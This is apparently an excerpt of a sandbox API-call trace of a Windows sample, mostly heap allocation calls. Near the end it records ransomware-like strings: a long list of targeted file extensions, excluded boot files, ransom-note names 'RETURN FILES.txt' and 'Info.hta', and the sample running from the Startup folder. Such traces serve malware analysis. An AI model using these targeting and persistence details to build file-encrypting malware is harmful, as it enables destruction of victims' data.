0x752bc0 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x752bf0 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x752cc8 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x752ce0 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x752cf8 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x74df20 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x752c38 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x752c50 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x752c80 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x752c68 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x752c98 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x752cb0 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7975b0 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797640 [0157.147] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7952a8, Size=0x100) returned 0x752fd8 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7976b8 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797508 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797778 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7976d0 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7975f8 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7975c8 [0157.147] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x74df30 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7975e0 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7974c0 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797538 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x6) returned 0x74ddd0 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797670 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797718 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x74df90 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7974d8 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7977a8 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x797610 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797628 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7974f0 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797520 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x797658 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797550 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x797568 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797688 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797580 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7976a0 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7976e8 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x74df40 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797700 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797598 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797730 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797748 [0157.148] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752fd8, Size=0x200) returned 0x752fd8 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797760 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x74df50 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797790 [0157.148] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797850 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797970 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797940 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797868 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7977c0 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7977d8 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7977f0 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797910 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x797808 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x797928 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7978f8 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797898 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x797880 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x797958 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7978c8 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x797820 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x797838 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7978b0 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7978e0 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797238 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x74de50 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797358 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797430 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7972e0 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x74dfb0 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797298 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x797460 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7973b8 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797370 [0157.149] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7974a8 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797208 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7971f0 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797418 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7971c0 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7972b0 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7973d0 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7973e8 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7971d8 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x797220 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797478 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7972c8 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797268 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797388 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7972f8 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797250 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797280 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x74de60 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x6) returned 0x74de70 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797328 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797310 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797340 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7973a0 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797400 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x797448 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797490 [0157.150] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797ff0 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797e70 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7980b0 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x797ea0 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798080 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798008 [0157.151] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752fd8, Size=0x400) returned 0x7985a0 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797fc0 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797dc8 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x797e88 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797de0 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797eb8 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797e40 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x797f90 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797f18 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797ed0 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797fa8 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x74df60 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797fd8 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x797df8 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797ee8 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797f48 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797f00 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797f30 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x798020 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797f60 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797e10 [0157.151] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797f78 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798038 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798050 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798068 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798098 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797e28 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x74df70 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x797e58 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7982a8 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798158 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7980c8 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798380 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798140 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7982d8 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798260 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798218 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x798278 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798170 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x798320 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7983b0 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798188 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7981a0 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798230 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7981e8 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x798248 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798338 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7981b8 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7982f0 [0157.152] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7981d0 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7980e0 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7980f8 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798290 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798110 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7982c0 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798308 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798350 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798200 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798368 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798398 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798128 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7984e8 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798428 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x798440 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x12) returned 0x7262b8 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798410 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798518 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798578 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798458 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7983c8 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798530 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7983e0 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798470 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7983f8 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7984a0 [0157.153] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798488 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7984b8 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798500 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7984d0 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798548 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798560 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798e10 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798d68 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798df8 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798f90 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x798ee8 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x798e70 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x798db0 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x798f60 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x798f18 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x74ddc0 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798eb8 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x74dde0 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798f00 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798f30 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798ea0 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x798f48 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x798e88 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798f78 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x798dc8 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798cd8 [0157.154] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798d50 [0157.155] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x798d98 [0157.155] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798e28 [0157.155] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x798d80 [0157.155] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x798e40 [0157.155] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798d20 [0157.155] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x74de00 [0157.155] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798de0 [0157.155] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x798d08 [0157.155] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7985a0, Size=0x800) returned 0x7991b0 [0157.155] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0157.156] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x796188 | out: hHeap=0x710000) returned 1 [0157.156] lstrlenW (lpString="") returned 0 [0157.156] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x79a060 | out: hHeap=0x710000) returned 1 [0157.156] lstrlenW (lpString=".save") returned 5 [0157.156] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74ded0, Size=0x8) returned 0x74e0b0 [0157.156] lstrlenW (lpString=".save") returned 5 [0157.156] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x79a198 | out: hHeap=0x710000) returned 1 [0157.156] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x79a000, Size=0x20) returned 0x74d9a0 [0157.156] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d9a0, Size=0x40) returned 0x727348 [0157.156] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x727348, Size=0x80) returned 0x794de0 [0157.156] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74ded0, Size=0x8) returned 0x74e0f0 [0157.156] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74e0f0, Size=0x10) returned 0x799fe8 [0157.156] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x799fe8, Size=0x20) returned 0x74d6d0 [0157.156] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0157.156] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x794de0 | out: hHeap=0x710000) returned 1 [0157.156] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x79a0a8, Size=0x20) returned 0x74d608 [0157.156] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d608, Size=0x40) returned 0x7274f8 [0157.156] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0157.156] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0157.156] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7274f8 | out: hHeap=0x710000) returned 1 [0157.156] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x79a078, Size=0x20) returned 0x74d810 [0157.156] lstrlenW (lpString="Info.hta") returned 8 [0157.157] lstrlenW (lpString="Info.hta") returned 8 [0157.157] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d810 | out: hHeap=0x710000) returned 1 [0157.157] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x774980, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\wmxsde.exe")) returned 0x47 [0157.157] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x774980 | out: hHeap=0x710000) returned 1 [0157.157] lstrlenW (lpString="wmxsde.exe") returned 10 [0157.157] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d6d0, Size=0x40) returned 0x7274f8 [0157.157] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x79a018, Size=0x20) 